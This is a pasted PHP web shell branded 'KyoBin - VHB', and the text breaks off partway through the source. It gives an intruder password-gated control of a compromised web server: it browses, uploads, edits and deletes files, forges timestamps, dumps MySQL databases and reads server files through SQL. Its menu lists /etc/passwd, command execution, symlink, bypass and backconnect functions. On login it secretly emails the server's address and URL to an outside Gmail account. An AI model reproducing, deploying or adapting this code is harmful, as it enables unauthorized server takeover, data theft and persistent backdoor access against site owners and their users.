· 10 years ago · Jan 19, 2016, 04:24 AM
1error_reporting(7);
2@set_magic_quotes_runtime(0);
3ob_start();
4$mtime = explode(' ', microtime());
5$starttime = $mtime[1] + $mtime[0];
6define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)) . '/');
7define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
8define('IS_COM', class_exists('COM') ? 1 : 0);
9define('IS_GPC', get_magic_quotes_gpc());
10$dis_func = get_cfg_var('disable_functions');
11define('IS_PHPINFO', (!eregi("phpinfo", $dis_func)) ? 1 : 0);
12@set_time_limit(0);
13foreach (array(
14 '_GET',
15 '_POST'
16) as $_request) {
17 foreach ($$_request as $_key => $_value) {
18 if ($_key{0} != '_') {
19 if (IS_GPC) {
20 $_value = s_array($_value);
21 }
22 $$_key = $_value;
23 }
24 }
25}
26$admin = array();
27$admin['check'] = true;
28$admin['pass'] = 'vhb';
29$admin['cookiepre'] = '';
30$admin['cookiedomain'] = '';
31$admin['cookiepath'] = '/';
32$admin['cookielife'] = 86400;
33if ($charset == 'utf8') {
34 header("content-Type: text/html; charset=utf-8");
35} elseif ($charset == 'big5') {
36 header("content-Type: text/html; charset=big5");
37} elseif ($charset == 'gbk') {
38 header("content-Type: text/html; charset=gbk");
39} elseif ($charset == 'latin1') {
40 header("content-Type: text/html; charset=iso-8859-2");
41}
42$self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
43$timestamp = time();
44if ($action == "logout") {
45 scookie('kyobin', '', -86400 * 365);
46 p('<meta http-equiv="refresh" content="0;URL=' . $self . '">');
47 p('<body background=black>');
48 exit;
49}
50if ($admin['check']) {
51 if ($doing == 'login') {
52 if ($admin['pass'] == $password) {
53 scookie('kyobin', $password);
54 $time_shell = "" . date("d/m/Y - H:i:s") . "";
55 $ip_remote = $_SERVER["REMOTE_ADDR"];
56 $from_shellcode = 'shell@' . gethostbyname($_SERVER['SERVER_NAME']) . '';
57 $to_email = 'nonz1412@gmail.com';
58 //
59 $server_mail = "" . gethostbyname($_SERVER['SERVER_NAME']) . " - " . $_SERVER['HTTP_HOST'] . "";
60 $linkcr = "Link: " . $_SERVER['SERVER_NAME'] . "" . $_SERVER['REQUEST_URI'] . " - IP Excuting: $ip_remote - Time: $time_shell";
61 $header = "From: $from_shellcode
62Reply-to: $from_shellcode";
63 @mail($to_email, $server_mail, $linkcr, $header);
64 p('<meta http-equiv="refresh" content="2;URL=' . $self . '">');
65 p('<body bgcolor=black>
66<BR><BR><div align=center><font color=yellow face=tahoma size=2>Loading<BR><img src=http://t3.gstatic.com/images?q=tbn:ANd9GcRFIQy9oLc9jMWmDY_N_sxjWPyusUWC4igwK2lqBm68aDGcSfKPPA></div>');
67 exit;
68 } else {
69 $err_mess = '<table width=100%><tr><td bgcolor=#0E0E0E width=100% height=24><div align=center><font color=red face=tahoma size=2><blink>Password incorrect, Please try again!!!</blink><BR></font></div></td></tr></table>';
70 echo $err_mess;
71 }
72 }
73 if ($_COOKIE['kyobin']) {
74 if ($_COOKIE['kyobin'] != $admin['pass']) {
75 loginpage();
76 }
77 } else {
78 loginpage();
79 }
80}
81$errmsg = '';
82if ($action == 'phpinfo') {
83 if (IS_PHPINFO) {
84 phpinfo();
85 } else {
86 $errmsg = 'phpinfo() function has non-permissible';
87 }
88}
89if ($doing == 'downfile' && $thefile) {
90 if (!@file_exists($thefile)) {
91 $errmsg = 'The file you want Downloadable was nonexistent';
92 } else {
93 $fileinfo = pathinfo($thefile);
94 header('Content-type: application/x-' . $fileinfo['extension']);
95 header('Content-Disposition: attachment; filename=' . $fileinfo['basename']);
96 header('Content-Length: ' . filesize($thefile));
97 @readfile($thefile);
98 exit;
99 }
100}
101if ($doing == 'backupmysql' && !$saveasfile) {
102 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
103 $table = array_flip($table);
104 $result = q("SHOW tables");
105 if (!$result)
106 p('<h2>' . mysql_error() . '</h2>');
107 $filename = basename($_SERVER['HTTP_HOST'] . '_MySQL.sql');
108 header('Content-type: application/unknown');
109 header('Content-Disposition: attachment; filename=' . $filename);
110 $mysqldata = '';
111 while ($currow = mysql_fetch_array($result)) {
112 if (isset($table[$currow[0]])) {
113 $mysqldata .= sqldumptable($currow[0]);
114 }
115 }
116 mysql_close();
117 exit;
118}
119if ($doing == 'mysqldown') {
120 if (!$dbname) {
121 $errmsg = ' dbname';
122 } else {
123 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
124 if (!file_exists($mysqldlfile)) {
125 $errmsg = 'The file you want Downloadable was nonexistent';
126 } else {
127 $result = q("select load_file('$mysqldlfile');");
128 if (!$result) {
129 q("DROP TABLE IF EXISTS tmp_angel;");
130 q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
131 q("LOAD DATA LOCAL INFILE '" . addslashes($mysqldlfile) . "' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
132 $result = q("select content from tmp_angel");
133 q("DROP TABLE tmp_angel");
134 }
135 $row = @mysql_fetch_array($result);
136 if (!$row) {
137 $errmsg = 'Load file failed ' . mysql_error();
138 } else {
139 $fileinfo = pathinfo($mysqldlfile);
140 header('Content-type: application/x-' . $fileinfo['extension']);
141 header('Content-Disposition: attachment; filename=' . $fileinfo['basename']);
142 header("Accept-Length: " . strlen($row[0]));
143 echo $row[0];
144 exit;
145 }
146 }
147 }
148}
149?><html>
150<head>
151<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
152<title><?php
153echo "Website : " . $_SERVER['HTTP_HOST'] . "";
154?> | <?php
155echo "IP : " . gethostbyname($_SERVER['SERVER_NAME']) . "";
156?> </title>
157<style type="text/css">
158body,td{font: 10pt Tahoma;color:gray;line-height: 16px;}
159
160a {color: #808080;text-decoration:none;}
161a:hover{color: #f00;text-decoration:underline;}
162.alt1 td{border-top:1px solid gray;border-bottom:1px solid gray;background:#0E0E0E;padding:5px 10px 5px 5px;}
163.alt2 td{border-top:1px solid gray;border-bottom:1px solid gray;background:#f9f9f9;padding:5px 10px 5px 5px;}
164.focus td{border-top:1px solid gray;border-bottom:0px solid gray;background:#0E0E0E;padding:5px 10px 5px 5px;}
165.fout1 td{border-top:1px solid gray;border-bottom:0px solid gray;background:#0E0E0E;padding:5px 10px 5px 5px;}
166.fout td{border-top:1px solid gray;border-bottom:0px solid gray;background:#202020;padding:5px 10px 5px 5px;}
167.head td{border-top:1px solid gray;border-bottom:1px solid gray;background:#202020;padding:5px 10px 5px 5px;font-weight:bold;}
168.head_small td{border-top:1px solid gray;border-bottom:1px solid gray;background:#202020;padding:5px 10px 5px 5px;font-weight:normal;font-size:8pt;}
169.head td span{font-weight:normal;}
170form{margin:0;padding:0;}
171h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
172ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
173u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
174input, textarea, button
175{
176 font-size: 9pt;
177 color: #ccc;
178 font-family: verdana, sans-serif;
179 background-color: #202020;
180 border-left: 1px solid #74A202;
181 border-top: 1px solid #74A202;
182 border-right: 1px solid #74A202;
183 border-bottom: 1px solid #74A202;
184}
185select
186{
187 font-size: 8pt;
188 font-weight: normal;
189 color: #ccc;
190 font-family: verdana, sans-serif;
191 background-color: #202020;
192}
193
194</style>
195</style>
196<script type="text/javascript">
197function CheckAll(form) {
198 for(var i=0;i<form.elements.length;i++) {
199 var e = form.elements[i];
200 if (e.name != 'chkall')
201 e.checked = form.chkall.checked;
202 }
203}
204function $(id) {
205 return document.getElementById(id);
206}
207function goaction(act){
208 $('goaction').action.value=act;
209 $('goaction').submit();
210}
211</script>
212</head>
213<body onLoad="init()" style="margin:0;table-layout:fixed; word-break:break-all" bgcolor=black background=http://i1124.photobucket.com/albums/l575/givay/th_matrix.gif>
214<div border="0" style="position:fixed; width: 100%; height: 25px; z-index: 1; top: 300px; left: 0;" id="loading" align="center" valign="center">
215 <table border="1" width="110px" cellspacing="0" cellpadding="0" style="border-collapse: collapse" bordercolor="#003300">
216 <tr>
217 <td align="center" valign=center>
218 <div border="1" style="background-color: #0E0E0E; filter: alpha(opacity=70); opacity: .7; width: 110px; height: 25px; z-index: 1; border-collapse: collapse;" bordercolor="#006600" align="center">
219 Loading<img src="http://i382.photobucket.com/albums/oo263/vnhacker/loading.gif">
220 </div>
221 </td>
222 </tr>
223 </table>
224</div>
225 <script>
226 var ld=(document.all);
227 var ns4=document.layers;
228 var ns6=document.getElementById&&!document.all;
229 var ie4=document.all;
230 if (ns4)
231 ld=document.loading;
232 else if (ns6)
233 ld=document.getElementById("loading").style;
234 else if (ie4)
235 ld=document.all.loading.style;
236 function init()
237 {
238 if(ns4){ld.visibility="hidden";}
239 else if (ns6||ie4) ld.display="none";
240 }
241 </script>
242<table width="100%" border="0" cellpadding="0" cellspacing="0">
243 <tr class="head_small">
244 <td width=100%>
245 <table width=100%><tr class="head_small"><td width=86px><p><a title=" .:: Warning ! Shell is used to refer not to hack ::. " href="';$self;;echo '"><img src=http://i476.photobucket.com/albums/rr129/thienthantuyet4444/anonymouswallpaper.png></a></p>
246 </td>
247 <td>
248
249 <span style="float:left;"> <?php echo "Hostname: ".$_SERVER['HTTP_HOST']."";?> | Server IP: <?php echo "<font color=yellow>".gethostbyname($_SERVER['SERVER_NAME'])."</font>";?> | Your IP: <?php echo "<font color=yellow>".$_SERVER['REMOTE_ADDR']."</font>";?>
250 | <a href="http://google.com" target="_blank"><?php echo str_replace('.','','KyoBin - VHB');?> </a> | <a href="javascript:goaction('logout');"><font color=red>Logout</font></a></span> <br />
251
252 <?php
253$curl_on = @function_exists('curl_version');
254$mysql_on = @function_exists('mysql_connect');
255$mssql_on = @function_exists('mssql_connect');
256$pg_on = @function_exists('pg_connect');
257$ora_on = @function_exists('ocilogon');
258echo (($safe_mode) ? ("Safe_mod: <b><font color=green>ON</font></b> - ") : ("Safe_mod: <b><font color=red>OFF</font></b> - "));
259echo "PHP version: <b>" . @phpversion() . "</b> - ";
260echo "cURL: " . (($curl_on) ? ("<b><font color=green>ON</font></b> - ") : ("<b><font color=red>OFF</font></b> - "));
261echo "MySQL: <b>";
262$mysql_on = @function_exists('mysql_connect');
263if ($mysql_on) {
264 echo "<font color=green>ON</font></b> - ";
265} else {
266 echo "<font color=red>OFF</font></b> - ";
267}
268echo "MSSQL: <b>";
269$mssql_on = @function_exists('mssql_connect');
270if ($mssql_on) {
271 echo "<font color=green>ON</font></b> - ";
272} else {
273 echo "<font color=red>OFF</font></b> - ";
274}
275echo "PostgreSQL: <b>";
276$pg_on = @function_exists('pg_connect');
277if ($pg_on) {
278 echo "<font color=green>ON</font></b> - ";
279} else {
280 echo "<font color=red>OFF</font></b> - ";
281}
282echo "Oracle: <b>";
283$ora_on = @function_exists('ocilogon');
284if ($ora_on) {
285 echo "<font color=green>ON</font></b>";
286} else {
287 echo "<font color=red>OFF</font></b><BR>";
288}
289echo "Disable functions : <b>";
290if ('' == ($df = @ini_get('disable_functions'))) {
291 echo "<font color=green>NONE</font></b><BR>";
292} else {
293 echo "<font color=red>$df</font></b><BR>";
294}
295echo "<font color=white>Uname -a</font>: " . @substr(@php_uname(), 0, 120) . "<br>";
296echo "<font color=white>Server</font>: " . @substr($SERVER_SOFTWARE, 0, 120) . " - <font color=white>id</font>: " . @getmyuid() . "(" . @get_current_user() . ") - uid=" . @getmyuid() . " (" . @get_current_user() . ") gid=" . @getmygid() . "(" . @get_current_user() . ")<br>";
297?></td></tr></table></td>
298 </tr>
299 <tr class="alt1">
300 <td width=10%><a href="javascript:goaction('file');">Manager</a> |
301 <a href="javascript:goaction('sqladmin');">SQL</a>
302 <?php
303if (!IS_WIN) {
304?> | <a href="javascript:goaction('dumper');">Dumper</a><?php
305}
306?> |
307 <a href="javascript:goaction('changepas');">Changes</a>
308 <?php
309if (!IS_WIN) {
310?> | <a href="javascript:goaction('etcpwd');">/etc/passwd</a> <?php
311}
312?>
313 <?php
314if (!IS_WIN) {
315?> | <a href="javascript:goaction('newcommand');">Command</a> <?php
316}
317?>
318 <?php
319if (!IS_WIN) {
320?> | <a href="javascript:goaction('error.log');">Creat CGI</a><?php
321}
322?>
323 <?php
324if (!IS_WIN) {
325?> | <a href="error/error.log" target="_blank">Open CGI</a><?php
326}
327?>
328 <?php
329if (!IS_WIN) {
330?> | <a href="javascript:goaction('symroot');">Sym Root</a><?php
331}
332?>
333 <?php
334if (!IS_WIN) {
335?> | <a href="sym/" target="_blank">Open Sym </a><?php
336}
337?>
338 <?php
339if (!IS_WIN) {
340?> | <a href="javascript:goaction('bypass');">By Pass</a><?php
341}
342?>
343 <?php
344if (!IS_WIN) {
345?> | <a href="javascript:goaction('upshell');">Up shell</a><?php
346}
347?>
348 <?php
349if (!IS_WIN) {
350?> | <a href="javascript:goaction('leech');">Leech</a><?php
351}
352?>
353 <?php
354if (!IS_WIN) {
355?> | <a href="javascript:goaction('backconnect');">Back</a><?php
356}
357?>
358 <?php
359if (!IS_WIN) {
360?> | <a href="javascript:goaction('command');">Win</a> <?php
361}
362?>
363 <?php
364if (!IS_WIN) {
365?> | <a href="javascript:goaction('reverseip');">Reverse </a><?php
366}
367?>
368 </td>
369 </tr>
370</table>
371<table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
372<?php
373formhead(array(
374 'name' => 'goaction'
375));
376makehide('action');
377formfoot();
378$errmsg && m($errmsg);
379!$dir && $dir = '.';
380$nowpath = getPath(SA_ROOT, $dir);
381if (substr($dir, -1) != '/') {
382 $dir = $dir . '/';
383}
384$uedir = ue($dir);
385if (!$action || $action == 'file') {
386 $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';
387 if ($doing == 'deldir' && $thefile) {
388 if (!file_exists($thefile)) {
389 m($thefile . ' directory does not exist');
390 } else {
391 m('Directory delete ' . (deltree($thefile) ? basename($thefile) . ' success' : 'failed'));
392 }
393 } elseif ($newdirname) {
394 $mkdirs = $nowpath . $newdirname;
395 if (file_exists($mkdirs)) {
396 m('Directory has already existed');
397 } else {
398 m('Directory created ' . (@mkdir($mkdirs, 0777) ? 'success' : 'failed'));
399 @chmod($mkdirs, 0777);
400 }
401 } elseif ($doupfile) {
402 m('File upload ' . (@copy($_FILES['uploadfile']['tmp_name'], $uploaddir . '/' . $_FILES['uploadfile']['name']) ? 'success' : 'failed'));
403 } elseif ($editfilename && $filecontent) {
404 $fp = @fopen($editfilename, 'w');
405 m('Save file ' . (@fwrite($fp, $filecontent) ? 'success' : 'failed'));
406 @fclose($fp);
407 } elseif ($pfile && $newperm) {
408 if (!file_exists($pfile)) {
409 m('The original file does not exist');
410 } else {
411 $newperm = base_convert($newperm, 8, 10);
412 m('Modify file attributes ' . (@chmod($pfile, $newperm) ? 'success' : 'failed'));
413 }
414 } elseif ($oldname && $newfilename) {
415 $nname = $nowpath . $newfilename;
416 if (file_exists($nname) || !file_exists($oldname)) {
417 m($nname . ' has already existed or original file does not exist');
418 } else {
419 m(basename($oldname) . ' renamed ' . basename($nname) . (@rename($oldname, $nname) ? ' success' : 'failed'));
420 }
421 } elseif ($sname && $tofile) {
422 if (file_exists($tofile) || !file_exists($sname)) {
423 m('The goal file has already existed or original file does not exist');
424 } else {
425 m(basename($tofile) . ' copied ' . (@copy($sname, $tofile) ? basename($tofile) . ' success' : 'failed'));
426 }
427 } elseif ($curfile && $tarfile) {
428 if (!@file_exists($curfile) || !@file_exists($tarfile)) {
429 m('The goal file has already existed or original file does not exist');
430 } else {
431 $time = @filemtime($tarfile);
432 m('Modify file the last modified ' . (@touch($curfile, $time, $time) ? 'success' : 'failed'));
433 }
434 } elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {
435 if (!@file_exists($curfile)) {
436 m(basename($curfile) . ' does not exist');
437 } else {
438 $time = strtotime("$year-$month-$day $hour:$minute:$second");
439 m('Modify file the last modified ' . (@touch($curfile, $time, $time) ? 'success' : 'failed'));
440 }
441 } elseif ($doing == 'downrar') {
442 if ($dl) {
443 $dfiles = '';
444 foreach ($dl as $filepath => $value) {
445 $dfiles .= $filepath . ',';
446 }
447 $dfiles = substr($dfiles, 0, strlen($dfiles) - 1);
448 $dl = explode(',', $dfiles);
449 $zip = new PHPZip($dl);
450 $code = $zip->out;
451 header('Content-type: application/octet-stream');
452 header('Accept-Ranges: bytes');
453 header('Accept-Length: ' . strlen($code));
454 header('Content-Disposition: attachment;filename=' . $_SERVER['HTTP_HOST'] . '_Files.tar.gz');
455 echo $code;
456 exit;
457 } else {
458 m('Please select file(s)');
459 }
460 } elseif ($doing == 'delfiles') {
461 if ($dl) {
462 $dfiles = '';
463 $succ = $fail = 0;
464 foreach ($dl as $filepath => $value) {
465 if (@unlink($filepath)) {
466 $succ++;
467 } else {
468 $fail++;
469 }
470 }
471 m('Deleted >> success ' . $succ . ' fail ' . $fail);
472 } else {
473 m('Please select file(s)');
474 }
475 }
476 formhead(array(
477 'name' => 'createdir'
478 ));
479 makehide('newdirname');
480 makehide('dir', $nowpath);
481 formfoot();
482 formhead(array(
483 'name' => 'fileperm'
484 ));
485 makehide('newperm');
486 makehide('pfile');
487 makehide('dir', $nowpath);
488 formfoot();
489 formhead(array(
490 'name' => 'copyfile'
491 ));
492 makehide('sname');
493 makehide('tofile');
494 makehide('dir', $nowpath);
495 formfoot();
496 formhead(array(
497 'name' => 'rename'
498 ));
499 makehide('oldname');
500 makehide('newfilename');
501 makehide('dir', $nowpath);
502 formfoot();
503 formhead(array(
504 'name' => 'fileopform'
505 ));
506 makehide('action');
507 makehide('opfile');
508 makehide('dir');
509 formfoot();
510 $free = @disk_free_space($nowpath);
511 !$free && $free = 0;
512 $all = @disk_total_space($nowpath);
513 !$all && $all = 0;
514 $used = $all - $free;
515 $used_percent = @round(100 / ($all / $free), 2);
516 p('<font color=yellow face=tahoma size=2><B>File Manager</b> </font> Current disk free <font color=red>' . sizecount($free) . '</font> of <font color=red>' . sizecount($all) . '</font> (<font color=red>' . $used_percent . '</font>%)</font>');
517?><table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
518 <form action="" method="post" id="godir" name="godir">
519 <tr>
520 <td nowrap>Directory (<?php
521 echo $dir_writeable;
522?>, <?php
523 echo getChmod($nowpath);
524?>)</td>
525 <td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php
526 echo $nowpath;
527?>" type="text" style="width:100%;margin:0 8px;"></td>
528 <td nowrap><input class="bt" value="GO" type="submit"></td>
529 </tr>
530 </form>
531</table>
532<script type="text/javascript">
533function createdir(){
534 var newdirname;
535 newdirname = prompt('directory name:', '');
536 if (!newdirname) return;
537 $('createdir').newdirname.value=newdirname;
538 $('createdir').submit();
539}
540function fileperm(pfile){
541 var newperm;
542 newperm = prompt('Current file:'+pfile+'\n new attribute:', '');
543 if (!newperm) return;
544 $('fileperm').newperm.value=newperm;
545 $('fileperm').pfile.value=pfile;
546 $('fileperm').submit();
547}
548function copyfile(sname){
549 var tofile;
550 tofile = prompt('Original file:'+sname+'\n object file (fullpath):', '');
551 if (!tofile) return;
552 $('copyfile').tofile.value=tofile;
553 $('copyfile').sname.value=sname;
554 $('copyfile').submit();
555}
556function rename(oldname){
557 var newfilename;
558 newfilename = prompt('Former file name:'+oldname+'\n new filename:', '');
559 if (!newfilename) return;
560 $('rename').newfilename.value=newfilename;
561 $('rename').oldname.value=oldname;
562 $('rename').submit();
563}
564function dofile(doing,thefile,m){
565 if (m && !confirm(m)) {
566 return;
567 }
568 $('filelist').doing.value=doing;
569 if (thefile){
570 $('filelist').thefile.value=thefile;
571 }
572 $('filelist').submit();
573}
574function createfile(nowpath){
575 var filename;
576 filename = prompt('file name:', '');
577 if (!filename) return;
578 opfile('editfile',nowpath + filename,nowpath);
579}
580function opfile(action,opfile,dir){
581 $('fileopform').action.value=action;
582 $('fileopform').opfile.value=opfile;
583 $('fileopform').dir.value=dir;
584 $('fileopform').submit();
585}
586function godir(dir,view_writable){
587 if (view_writable) {
588 $('godir').view_writable.value=1;
589 }
590 $('godir').dir.value=dir;
591 $('godir').submit();
592}
593</script>
594 <?php
595 tbhead();
596 p('<form action="' . $self . '" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');
597 p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="' . $dir . '" type="hidden" /><input name="dir" value="' . $dir . '" type="hidden" /></div>');
598 p('<a href="javascript:godir(\'' . $_SERVER["DOCUMENT_ROOT"] . '\');">WebRoot</a>');
599 if ($view_writable) {
600 p(' | <a href="javascript:godir(\'' . $nowpath . '\');">View All</a>');
601 } else {
602 p(' | <a href="javascript:godir(\'' . $nowpath . '\',\'1\');">View Writable</a>');
603 }
604 p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\'' . $nowpath . '\');">Create File</a>');
605 if (IS_WIN && IS_COM) {
606 $obj = new COM('scripting.filesystemobject');
607 if ($obj && is_object($obj)) {
608 $DriveTypeDB = array(
609 0 => 'Unknow',
610 1 => 'Removable',
611 2 => 'Fixed',
612 3 => 'Network',
613 4 => 'CDRom',
614 5 => 'RAM Disk'
615 );
616 foreach ($obj->Drives as $drive) {
617 if ($drive->DriveType == 2) {
618 p(' | <a href="javascript:godir(\'' . $drive->Path . '/\');" title="Size:' . sizecount($drive->TotalSize) . ' Free:' . sizecount($drive->FreeSpace) . ' Type:' . $DriveTypeDB[$drive->DriveType] . '">' . $DriveTypeDB[$drive->DriveType] . '(' . $drive->Path . ')</a>');
619 } else {
620 p(' | <a href="javascript:godir(\'' . $drive->Path . '/\');" title="Type:' . $DriveTypeDB[$drive->DriveType] . '">' . $DriveTypeDB[$drive->DriveType] . '(' . $drive->Path . ')</a>');
621 }
622 }
623 }
624 }
625 p('</td></tr></form>');
626 p('<tr class="head"><td> </td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');
627 $dirdata = array();
628 $filedata = array();
629 if ($view_writable) {
630 $dirdata = GetList($nowpath);
631 } else {
632 $dirs = @opendir($dir);
633 while ($file = @readdir($dirs)) {
634 $filepath = $nowpath . $file;
635 if (@is_dir($filepath)) {
636 $dirdb['filename'] = $file;
637 $dirdb['mtime'] = @date('Y-m-d H:i:s', filemtime($filepath));
638 $dirdb['dirchmod'] = getChmod($filepath);
639 $dirdb['dirperm'] = getPerms($filepath);
640 $dirdb['fileowner'] = getUser($filepath);
641 $dirdb['dirlink'] = $nowpath;
642 $dirdb['server_link'] = $filepath;
643 $dirdb['client_link'] = ue($filepath);
644 $dirdata[] = $dirdb;
645 } else {
646 $filedb['filename'] = $file;
647 $filedb['size'] = sizecount(@filesize($filepath));
648 $filedb['mtime'] = @date('Y-m-d H:i:s', filemtime($filepath));
649 $filedb['filechmod'] = getChmod($filepath);
650 $filedb['fileperm'] = getPerms($filepath);
651 $filedb['fileowner'] = getUser($filepath);
652 $filedb['dirlink'] = $nowpath;
653 $filedb['server_link'] = $filepath;
654 $filedb['client_link'] = ue($filepath);
655 $filedata[] = $filedb;
656 }
657 }
658 unset($dirdb);
659 unset($filedb);
660 @closedir($dirs);
661 }
662 @sort($dirdata);
663 @sort($filedata);
664 $dir_i = '0';
665 foreach ($dirdata as $key => $dirdb) {
666 if ($dirdb['filename'] != '..' && $dirdb['filename'] != '.') {
667 $thisbg = bg();
668 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
669 p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>');
670 p('<td><a href="javascript:godir(\'' . $dirdb['server_link'] . '\');">' . $dirdb['filename'] . '</a></td>');
671 p('<td nowrap>' . $dirdb['mtime'] . '</td>');
672 p('<td nowrap>--</td>');
673 p('<td nowrap>');
674 p('<a href="javascript:fileperm(\'' . $dirdb['server_link'] . '\');">' . $dirdb['dirchmod'] . '</a> / ');
675 p('<a href="javascript:fileperm(\'' . $dirdb['server_link'] . '\');">' . $dirdb['dirperm'] . '</a>' . $dirdb['fileowner'] . '</td>');
676 p('<td nowrap><a href="javascript:dofile(\'deldir\',\'' . $dirdb['server_link'] . '\',\'Are you sure will delete ' . $dirdb['filename'] . '? \\n\\nIf non-empty directory, will be delete all the files.\')">Del</a> | <a href="javascript:rename(\'' . $dirdb['server_link'] . '\');">Rename</a></td>');
677 p('</tr>');
678 $dir_i++;
679 } else {
680 if ($dirdb['filename'] == '..') {
681 p('<tr class=fout>');
682 p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\'' . getUpPath($nowpath) . '\');">Parent Directory</a></td>');
683 p('</tr>');
684 }
685 }
686 }
687 p('<tr bgcolor="green" stlye="border-top:1px solid gray;border-bottom:1px solid gray;"><td colspan="6" height="5"></td></tr>');
688 p('<form id="filelist" name="filelist" action="' . $self . '" method="post">');
689 makehide('action', 'file');
690 makehide('thefile');
691 makehide('doing');
692 makehide('dir', $nowpath);
693 $file_i = '0';
694 foreach ($filedata as $key => $filedb) {
695 if ($filedb['filename'] != '..' && $filedb['filename'] != '.') {
696 $fileurl = str_replace(SA_ROOT, '', $filedb['server_link']);
697 $thisbg = bg();
698 p('<tr class="fout" onmouseover="this.className=\focus\;" onmouseout="this.className=\fout\;">');
699 p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl[' . $filedb['server_link'] . ']"></td>');
700 p('<td><a href="' . $fileurl . '" target="_blank">' . $filedb['filename'] . '</a></td>');
701 p('<td nowrap>' . $filedb['mtime'] . '</td>');
702 p('<td nowrap>' . $filedb['size'] . '</td>');
703 p('<td nowrap>');
704 p('<a href="javascript:fileperm(\'' . $filedb['server_link'] . '\');">' . $filedb['filechmod'] . '</a> / ');
705 p('<a href="javascript:fileperm(\'' . $filedb['server_link'] . '\');">' . $filedb['fileperm'] . '</a>' . $filedb['fileowner'] . '</td>');
706 p('<td nowrap>');
707 p('<a href="javascript:dofile(\'downfile\',\'' . $filedb['server_link'] . '\');">Down</a> | ');
708 p('<a href="javascript:copyfile(\'' . $filedb['server_link'] . '\');">Copy</a> | ');
709 p('<a href="javascript:opfile(\'editfile\',\'' . $filedb['server_link'] . '\',\'' . $filedb['dirlink'] . '\');">Edit</a> | ');
710 p('<a href="javascript:rename(\'' . $filedb['server_link'] . '\');">Rename</a> | ');
711 p('<a href="javascript:opfile(\'newtime\',\'' . $filedb['server_link'] . '\',\'' . $filedb['dirlink'] . '\');">Time</a>');
712 p('</td></tr>');
713 $file_i++;
714 }
715 }
716 p('<tr class="fout1"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Download Select</a> - <a href="javascript:dofile(\'delfiles\');">Delete </a></td><td colspan="4" align="right">' . $dir_i . ' directories / ' . $file_i . ' files</td></tr>');
717 p('</form></table>');
718} // end dir
719
720
721?><script type="text/javascript">
722function mysqlfile(doing){
723 if(!doing) return;
724 $('doing').value=doing;
725 $('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;
726 $('mysqlfile').dbport.value=$('dbinfo').dbport.value;
727 $('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;
728 $('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;
729 $('mysqlfile').dbname.value=$('dbinfo').dbname.value;
730 $('mysqlfile').charset.value=$('dbinfo').charset.value;
731 $('mysqlfile').submit();
732}
733</script>
734<?php
735if ($action == 'sqladmin') {
736 !$dbhost && $dbhost = 'localhost';
737 !$dbuser && $dbuser = 'root';
738 !$dbport && $dbport = '3306';
739 $dbform = '<input type="hidden" id="connect" name="connect" value="1" />';
740 if (isset($dbhost)) {
741 $dbform .= "<input type=\"hidden\" id=\"dbhost\" name=\"dbhost\" value=\"$dbhost\" />\n";
742 }
743 if (isset($dbuser)) {
744 $dbform .= "<input type=\"hidden\" id=\"dbuser\" name=\"dbuser\" value=\"$dbuser\" />\n";
745 }
746 if (isset($dbpass)) {
747 $dbform .= "<input type=\"hidden\" id=\"dbpass\" name=\"dbpass\" value=\"$dbpass\" />\n";
748 }
749 if (isset($dbport)) {
750 $dbform .= "<input type=\"hidden\" id=\"dbport\" name=\"dbport\" value=\"$dbport\" />\n";
751 }
752 if (isset($dbname)) {
753 $dbform .= "<input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"$dbname\" />\n";
754 }
755 if (isset($charset)) {
756 $dbform .= "<input type=\"hidden\" id=\"charset\" name=\"charset\" value=\"$charset\" />\n";
757 }
758 if ($doing == 'backupmysql' && $saveasfile) {
759 if (!$table) {
760 m('Please choose the table');
761 } else {
762 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
763 $table = array_flip($table);
764 $fp = @fopen($path, 'w');
765 if ($fp) {
766 $result = q('SHOW tables');
767 if (!$result)
768 p('<h2>' . mysql_error() . '</h2>');
769 $mysqldata = '';
770 while ($currow = mysql_fetch_array($result)) {
771 if (isset($table[$currow[0]])) {
772 sqldumptable($currow[0], $fp);
773 }
774 }
775 fclose($fp);
776 $fileurl = str_replace(SA_ROOT, '', $path);
777 m('Database has success backup to <a href="' . $fileurl . '" target="_blank">' . $path . '</a>');
778 mysql_close();
779 } else {
780 m('Backup failed');
781 }
782 }
783 }
784 if ($insert && $insertsql) {
785 $keystr = $valstr = $tmp = '';
786 foreach ($insertsql as $key => $val) {
787 if ($val) {
788 $keystr .= $tmp . $key;
